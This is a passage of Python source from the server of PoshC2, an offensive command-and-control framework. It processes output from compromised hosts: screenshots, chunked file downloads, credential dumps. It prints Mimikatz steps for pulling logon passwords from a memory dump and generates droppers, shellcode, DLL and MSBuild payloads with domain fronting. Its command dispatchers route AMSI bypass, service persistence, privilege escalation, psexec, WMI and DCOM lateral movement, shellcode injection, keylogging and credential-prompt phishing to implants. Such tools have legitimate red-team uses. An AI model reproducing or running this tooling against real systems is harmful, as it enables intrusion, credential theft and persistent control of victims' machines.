output_file.write(decoded) output_file.close() except Exception: update_task( taskId, "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" ) print( "Screenshot not captured, the screen could be locked or this user does not have access to the screen!" ) elif (executedCmd.lower().startswith("$shellcode64")) or ( executedCmd.lower().startswith("$shellcode64")): update_task(taskId, "Upload shellcode complete") print("Upload shellcode complete") elif (executedCmd.lower().startswith( "run-exe core.program core inject-shellcode")): update_task(taskId, "Upload shellcode complete") print(outputParsed) elif "download-file" in executedCmd.lower(): try: filename = executedCmd.lower().replace( "download-files ", "") filename = filename.replace("download-file ", "") filename = filename.replace("-source ", "") filename = filename.replace("..", "") filename = filename.replace("'", "") filename = filename.replace('"', "") filename = filename.replace("\\", "/") directory, filename = filename.rsplit('/', 1) filename = filename.rstrip('\x00') original_filename = filename.strip() if not original_filename: directory = directory.rstrip('\x00') directory = directory.replace( "/", "_").replace("\\", "_").strip() original_filename = directory try: if rawoutput.startswith("Error"): print("Error downloading file: ") print(rawoutput) break chunkNumber = rawoutput[:5] totalChunks = rawoutput[5:10] except Exception: chunkNumber = rawoutput[:5].decode("utf-8") totalChunks = rawoutput[5:10].decode("utf-8") if (chunkNumber == "00001") and os.path.isfile( '%s%s' % (DownloadsDirectory, filename)): counter = 1 while (os.path.isfile( '%s%s' % (DownloadsDirectory, filename))): if '.' in filename: filename = original_filename[:original_filename.rfind( '.')] + '-' + str( counter) + original_filename[ original_filename.rfind('.' ):] else: filename = original_filename + '-' + str( counter) counter += 1 if (chunkNumber != "00001"): counter = 1 if not os.path.isfile( '%s%s' % (DownloadsDirectory, filename)): print( "Error trying to download part of a file to a file that does not exist: %s" % filename) while (os.path.isfile( '%s%s' % (DownloadsDirectory, filename))): # First find the 'next' file would be downloaded to if '.' in filename: filename = original_filename[:original_filename.rfind( '.')] + '-' + str( counter) + original_filename[ original_filename.rfind('.' ):] else: filename = original_filename + '-' + str( counter) counter += 1 if counter != 2: # Then actually set the filename to this file - 1 unless it's the first one and exists without a counter if '.' in filename: filename = original_filename[:original_filename.rfind( '.')] + '-' + str( counter - 2 ) + original_filename[ original_filename.rfind('.'):] else: filename = original_filename + '-' + str( counter - 2) else: filename = original_filename print("Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) update_task( taskId, "Download file part %s of %s to: %s" % (chunkNumber, totalChunks, filename)) output_file = open( '%s%s' % (DownloadsDirectory, filename), 'ab') try: output_file.write(rawoutput[10:]) except Exception: output_file.write( rawoutput[10:].encode("utf-8")) output_file.close() except Exception as e: update_task(taskId, "Error downloading file %s " % e) print("Error downloading file %s " % e) traceback.print_exc() elif "safetydump" in executedCmd.lower(): rawoutput = decrypt_bytes_gzip(encKey, post_data[1500:]) if rawoutput.startswith("[-]") or rawoutput.startswith( "ErrorCmd"): update_task(taskId, rawoutput) print(rawoutput) else: dumpname = "SafetyDump-Task-%s.b64" % taskIdStr dumppath = "%s%s" % (DownloadsDirectory, dumpname) open(dumppath, 'w').write(rawoutput) message = "Dump written to: %s" % dumppath message = message + "\n The base64 blob needs decoding on Windows and then Mimikatz can be run against it." message = message + "\n E.g:" message = message + "\n $filename = '.\\%s'" % dumpname message = message + "\n $b64 = Get-Content $filename" message = message + "\n $bytes = [System.Convert]::FromBase64String($b64)" message = message + "\n [io.file]::WriteAllBytes(((Get-Item -Path \".\\\").FullName) + 'safetydump.dmp', $bytes)" message = message + "\n ./mimikatz.exe" message = message + "\n sekurlsa::minidump safetydump.dmp" message = message + "\n sekurlsa::logonpasswords" update_task(taskId, message) print(message) elif (executedCmd.lower().startswith("run-exe safetykatz") or executedCmd.lower().startswith("invoke-mimikatz") or executedCmd.lower().startswith("pbind-command") ) and "logonpasswords" in outputParsed.lower(): print("Parsing Mimikatz Output") process_mimikatz(outputParsed) update_task(taskId, outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END) else: update_task(taskId, outputParsed) print(Colours.GREEN) print(outputParsed + Colours.END) except Exception as e: if 'broken pipe' not in str(e).lower(): print_bad("Error handling POST request: " + e) traceback.print_exc() finally: try: UriPath = str(self.path) sharpurls = get_sharpurls().split(",") sharplist = [] for i in sharpurls: i = i.replace(" ", "") i = i.replace("\"", "") sharplist.append("/" + i) if [ele for ele in sharplist if (ele in UriPath)]: try: open( "%swebserver.log" % PoshProjectDirectory, "a" ).write( "[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath)) r = Request( "%s%s" % (SocksHost, UriPath), headers={ 'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36' }) res = urlopen(r, post_data) sharpout = res.read() self.send_response(res.getcode()) self.send_header("Content-type", "text/html") self.send_header("Content-Length", len(sharpout)) self.end_headers() if (len(sharpout) > 0): self.wfile.write(sharpout) except URLError as e: try: self.send_response(res.getcode()) except: self.send_response(500) self.send_header("Content-type", "text/html") try: self.send_header("Content-Length", len(sharpout)) except: self.send_header("Content-Length", 0) self.end_headers() open( "%swebserver.log" % PoshProjectDirectory, "a" ).write( "[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) except Exception as e: self.send_response(res.getcode()) self.send_header("Content-type", "text/html") self.send_header("Content-Length", len(sharpout)) self.end_headers() open( "%swebserver.log" % PoshProjectDirectory, "a" ).write( "[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc())) open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e) print( Colours.RED + "Error with SharpSocks or old implant connection - is SharpSocks running" + Colours.END) print(Colours.RED + UriPath + Colours.END) self.send_response(404) self.send_header("Content-type", "text/html") self.end_headers() HTTPResponsePage = select_item("GET_404_Response", "C2Server") if HTTPResponsePage: self.wfile.write(bytes(HTTPResponsePage, "utf-8")) else: self.wfile.write(bytes(GET_404_Response, "utf-8")) else: self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(default_response()) except Exception as e: print(Colours.RED + "Generic error in POST request!" + Colours.END) print(Colours.RED + UriPath + Colours.END) print(e) traceback.print_exc()
def do_automigrate_frompowershell(user, command): print_bad( "automigrate not currently implemented for the Python version of PoshC2\r\n" ) input("Press Enter to continue...") clear()
def do_createnewpayload(user, command, creds=None, shellcodeOnly=False): params = re.compile("createnewpayload ", re.IGNORECASE) params = params.sub("", command) creds = None if "-credid" in params: creds, params = get_creds_from_params(params, user) if creds is None: return if not creds['Password']: print_bad("This command does not support credentials with hashes") input("Press Enter to continue...") clear() return name = input(Colours.GREEN + "Proxy Payload Name: e.g. Scenario_One ") comms_url = input( "Domain or URL in array format: https://www.example.com,https://www.example2.com " ) domainfront = input( "Domain front URL in array format: fjdsklfjdskl.cloudfront.net,jobs.azureedge.net " ) proxyurl = input("Proxy URL: .e.g. http://10.150.10.1:8080 ") pbindsecret = input(f"PBind Secret: e.g {PBindSecret} ") pbindpipename = input(f"PBind Pipe Name: e.g. {PBindPipeName} ") comms_url, PayloadCommsHostCount = string_to_array(comms_url) domainfront, DomainFrontHeaderCount = string_to_array(domainfront) if PayloadCommsHostCount == DomainFrontHeaderCount: pass else: print("[-] Error - different number of host headers and URLs") input("Press Enter to continue...") clear() proxyuser = "" proxypass = "" credsexpire = "" if proxyurl: if creds is not None: proxyuser = "******" % (creds['Domain'], creds['Username']) proxypass = creds['Password'] else: proxyuser = input(Colours.GREEN + "Proxy User: e.g. Domain\\user ") proxypass = input("Proxy Password: e.g. Password1 ") credsexpire = input( Colours.GREEN + "Password/Account Expiration Date: .e.g. 15/03/2018 ") imurl = "%s?p" % get_newimplanturl() else: imurl = get_newimplanturl() C2 = get_c2server_all() urlId = new_urldetails(name, comms_url, domainfront, proxyurl, proxyuser, proxypass, credsexpire) newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, imurl, PayloadsDirectory, URLID=urlId, PBindPipeName=pbindpipename, PBindSecret=pbindsecret) newPayload.CreateDroppers("%s_" % name) newPayload.CreateShellcode("%s_" % name) if not shellcodeOnly: newPayload.CreateRaw("%s_" % name) newPayload.CreateDlls("%s_" % name) newPayload.CreateEXE("%s_" % name) newPayload.CreateMsbuild("%s_" % name) newPayload.CreatePython("%s_" % name) newPayload.CreateDonutShellcode("%s_" % name) print_good("Created new payloads") input("Press Enter to continue...") clear()
def handle_ps_command(command, user, randomuri, implant_id): try: check_module_loaded("Stage2-Core.ps1", randomuri, user) except Exception as e: print_bad("Error loading Stage2-Core.ps1: %s" % e) # alias mapping for alias in ps_alias: if command.startswith(alias[0]): command.replace(alias[0], alias[1]) command = command.strip() run_autoloads(command, randomuri, user) # opsec failures for opsec in ps_opsec: if opsec == command[:len(opsec)]: print_bad("**OPSEC Warning**") ri = input("Do you want to continue running - %s? (y/N) " % command) if ri.lower() == "n": command = "" if ri == "": command = "" break if command.startswith("unhook-amsi"): do_unhook_amsi(user, command, randomuri) return elif command.startswith("searchhelp"): do_searchhelp(user, command, randomuri) return elif command.startswith("download-files "): do_download_files(user, command, randomuri) return elif command.startswith("install-servicelevel-persistencewithproxy"): do_install_servicelevel_persistencewithproxy(user, command, randomuri) return elif command.startswith("install-servicelevel-persistence"): do_install_servicelevel_persistencewithproxy(user, command, randomuri) return elif command.startswith("remove-servicelevel-persistence"): do_remove_servicelevel_persistence(user, command, randomuri) return elif command.startswith("get-implantworkingdirectory"): do_get_implantworkingdirectory(user, command, randomuri) return elif command.startswith("get-system-withproxy"): do_get_system_withproxy(user, command, randomuri) return elif command.startswith("get-system-withdaisy"): do_get_system_withdaisy(user, command, randomuri) return elif command.startswith("get-system"): do_get_system(user, command, randomuri) return elif command.startswith("invoke-psexec ") or command.startswith( "invoke-smbexec "): do_invoke_psexec(user, command, randomuri) return elif command.startswith("invoke-psexecproxypayload "): do_invoke_psexecproxypayload(user, command, randomuri) return elif command.startswith("invoke-psexecdaisypayload "): do_invoke_psexecdaisypayload(user, command, randomuri) return elif command.startswith("invoke-psexecpayload "): do_invoke_psexecpayload(user, command, randomuri) return elif command.startswith("invoke-wmiexec "): do_invoke_wmiexec(user, command, randomuri) return elif command.startswith("invoke-wmijspbindpayload "): do_invoke_wmijsbindpayload(user, command, randomuri) return elif command.startswith("invoke-wmijsproxypayload "): do_invoke_wmijsproxypayload(user, command, randomuri) return elif command.startswith("invoke-wmijsdaisypayload "): do_invoke_wmijsdaisypayload(user, command, randomuri) return elif command.startswith("invoke-wmijspayload "): do_invoke_wmijspayload(user, command, randomuri) return elif command.startswith("invoke-wmiproxypayload "): do_invoke_wmiproxypayload(user, command, randomuri) return elif command.startswith("invoke-wmidaisypayload "): do_invoke_wmidaisypayload(user, command, randomuri) return elif command.startswith("invoke-wmipayload "): do_invoke_wmipayload(user, command, randomuri) return elif command.startswith("invoke-dcomproxypayload "): do_invoke_dcomproxypayload(user, command, randomuri) return elif command.startswith("invoke-dcomdaisypayload "): do_invoke_dcomdaisypayload(user, command, randomuri) return elif command.startswith("invoke-dcompayload "): do_invoke_dcompayload(user, command, randomuri) return elif command.startswith("invoke-runas "): do_invoke_runas(user, command, randomuri) return elif command.startswith("invoke-runasdaisypayload"): do_invoke_runasdaisypayload(user, command, randomuri) return elif command.startswith("invoke-runasproxypayload"): do_invoke_runasproxypayload(user, command, randomuri) return elif command.startswith("invoke-runaspayload"): do_invoke_runaspayload(user, command, randomuri) return elif command == "help": do_help(user, command, randomuri) return elif command.startswith("get-pid"): do_get_pid(user, command, randomuri) return elif command.startswith("upload-file"): do_upload_file(user, command, randomuri) return elif command == "kill-implant" or command == "exit": do_kill_implant(user, command, randomuri) return elif command.startswith("migrate"): do_migrate(user, command, randomuri) return elif command.startswith("loadmoduleforce"): do_loadmoudleforce(user, command, randomuri) return elif command.startswith("loadmodule"): do_loadmodule(user, command, randomuri) return elif command.startswith("pbind-loadmodule"): do_pbind_loadmodule(user, command, randomuri) return elif command.startswith("invoke-daisychain"): do_invoke_daisychain(user, command, randomuri) return elif command.startswith("inject-shellcode"): do_inject_shellcode(user, command, randomuri) return elif command == "listmodules": do_listmodules(user, command, randomuri) return elif command == "modulesloaded": do_modulesloaded(user, command, randomuri) return elif command == "ps": do_ps(user, command, randomuri) return elif command == "hashdump": do_hashdump(user, command, randomuri) return elif command == "stopdaisy": do_stopdaisy(user, command, randomuri) return elif command == "stopsocks": do_stopsocks(user, command, randomuri) return elif command == "sharpsocks": do_sharpsocks(user, command, randomuri) return elif command.startswith("reversedns"): do_reversedns(user, command, randomuri) return else: if command: do_shell(user, command, randomuri) return
def do_beacon(user, command, randomuri): new_sleep = command.replace('beacon ', '').strip() if not validate_sleep_time(new_sleep): print_bad("Invalid sleep command, please specify a time such as 50s, 10m or 1h") else: new_task(command, user, randomuri)
def handle_sharp_command(command, user, randomuri, implant_id): try: check_module_loaded("Stage2-Core.exe", randomuri, user) except Exception as e: print_bad("Error loading Stage2-Core.exe: %s" % e) # alias mapping for alias in cs_alias: if alias[0] == command[:len(command.rstrip())]: command = alias[1] # alias replace for alias in cs_replace: if command.startswith(alias[0]): command = command.replace(alias[0], alias[1]) original_command = command command = command.strip() run_autoloads_sharp(command, randomuri, user) if command.startswith("searchhelp"): do_searchhelp(user, command, randomuri) return elif command.startswith("upload-file"): do_upload_file(user, command, randomuri) return elif command == "bypass-amsi": do_bypass_amsi(user, command, randomuri) return elif command.startswith("inject-shellcode"): do_inject_shellcode(user, command, randomuri) return elif command.startswith("migrate"): do_migrate(user, command, randomuri) return elif command == "kill-implant" or command == "exit": do_kill_implant(user, command, randomuri) return elif command == "sharpsocks": do_sharpsocks(user, command, randomuri) return elif (command.startswith("stop-keystrokes")): do_stop_keystrokes(user, command, randomuri) return elif (command.startswith("start-keystrokes")): do_start_keystrokes(user, command, randomuri) return elif (command.startswith("get-keystrokes")): do_get_keystrokes(user, command, randomuri) return elif (command.startswith("start-process")): do_start_process(user, command, randomuri) return elif (command.startswith("kill-process")): do_kill_process(user, command, randomuri) return elif (command.startswith("get-idletime")): do_get_idletime(user, command, randomuri) return elif (command.startswith("get-screenshotmulti")): do_get_screenshotmulti(user, command, randomuri) return elif (command.startswith("create-lnk")): do_create_lnk(user, command, randomuri) return elif (command.startswith("create-startuplnk")): do_create_startuplnk(user, command, randomuri) return elif (command.startswith("get-hash")): do_get_hash(user, command, randomuri) return elif (command.startswith("arpscan")): do_arpscan(user, command, randomuri) return elif (command.startswith("testadcredential")): do_testadcredential(user, command, randomuri) return elif (command.startswith("testlocalcredential")): do_testlocalcredential(user, command, randomuri) return elif (command.startswith("turtle")): do_turtle(user, command, randomuri) return elif (command.startswith("get-userinfo")): do_getuserinfo(user, command, randomuri) return elif (command.startswith("get-computerinfo")): do_get_computerinfo(user, command, randomuri) return elif (command.startswith("get-dodgyprocesses")): do_get_dodgyprocesses(user, command, randomuri) return elif (command.startswith("get-content")): do_get_content(user, command, randomuri) return elif (command.startswith("resolvednsname")): do_resolvednsname(user, command, randomuri) return elif (command.startswith("resolveip")): do_resolveip(user, command, randomuri) return elif (command.startswith("safetykatz")): do_safetykatz(user, command, randomuri) return elif (command.startswith("get-creds")): do_get_creds(user, command, randomuri) return elif (command.startswith("cred-popper")): do_cred_popper(user, command, randomuri) return elif (command.startswith("get-serviceperms")): do_get_serviceperms(user, command, randomuri) return elif (command.startswith("copy ")): do_copy(user, command, randomuri) return elif (command.startswith("move ")): do_move(user, command, randomuri) return elif (command.startswith("delete ")): do_delete(user, command, randomuri) return elif command.startswith("ls ") or command.startswith("ls-recurse "): do_ls(user, command, randomuri) return elif command == "pwd": do_pwd(user, command, randomuri) return elif command == "ps": do_ps(user, command, randomuri) return elif command.startswith("loadmoduleforce"): do_loadmoduleforce(user, command, randomuri) return elif command.startswith("loadmodule"): do_loadmodule(user, command, randomuri) return elif command.startswith("listmodules"): do_listmodules(user, command, randomuri) return elif command.startswith("modulesloaded"): do_modulesloaded(user, command, randomuri) return elif command == "help": do_help(user, command, randomuri) return else: if command: do_shell(user, original_command, randomuri) return
def do_download_files(user, command, randomuri): print_bad("Please enter a full path to the directory")